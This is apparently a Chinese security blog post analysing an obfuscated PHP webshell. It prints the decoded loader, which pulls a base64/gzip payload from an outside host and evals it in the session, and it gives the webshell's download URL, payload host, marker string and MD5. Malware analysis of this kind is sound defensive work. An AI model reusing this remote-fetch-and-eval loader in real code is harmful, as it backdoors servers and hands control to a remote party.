对于某个PHP大马的分析

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最近在看一个PHP大马( http://webshell8.com/down/phpwebshell.zip )，界面非常漂亮：

但是代码量却非常少：

不由得非常好奇它是如何用这么少的代码实现这么丰富的功能的。于是将它的html内容打印一下：

发现它的内容是gz压缩后再base64加密的：

于是反向执行一下，得到原始内容：

error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
    $c = '';
    $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
    $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
    $urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
    if (function_exists('fsockopen')) {
        $link = parse_url($url);
        $query = $link['path'];
        $host = strtolower($link['host']);
        $fp = fsockopen($host, 80, $errno, $errstr, 10);
        if ($fp) {
            $out = "GET /{$query} HTTP/1.0\r\n";
            $out .= "Host: {$host}\r\n";
            $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $inheader = 1;
            $contents = "";
            while (!feof($fp)) {
                $line = fgets($fp, 4096);
                if ($inheader == 0) {
                    $contents .= $line;
                }
                if ($inheader && ($line == "\n" || $line == "\r\n")) {
                    $inheader = 0;
                }
            }
            fclose($fp);
            $c = $contents;
        }
    }
    if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        $c = curl_exec($ch);
        curl_close($ch);
    }
    if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
        $temps = @file($url);
        if (!empty($temps))
            $c = @implode('', $temps);
        if (!strpos($c, "delDirAndFile"))
            $c = @file_get_contents($url);
    }
    if (strpos($c, $urlNew) !== false) {
        $c = str_replace($urlNew, "", $c);
        $_SESSION["phpapi"] = gzinflate(base64_decode($c));
    }
}
if (isset($_SESSION["phpapi"])) {
    eval($_SESSION["phpapi"]);
}

其中请求的url为：

http://phpapi.info/404.gif

用于替换的urlNew为：

/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/

将内容读出来之后，base64解码在用gz解压缩：

拿到原始的webshell文件（文件大概2960行，所以不贴全部的代码，只看一下头几行以及行数。需要的可以自己用上面的还原代码将gif内容还原为PHP文件）：

该php的内容需要读取之后，放在eval()函数里执行，类似于：

<?php
eval(file_get_contents("/home/wwwroot/default/tmp.php"));
?>

整体的流程为：

domain:phpapi.info
 
url:/404.gif
 
md5:f1c4842de714e7480e69f41540c3626b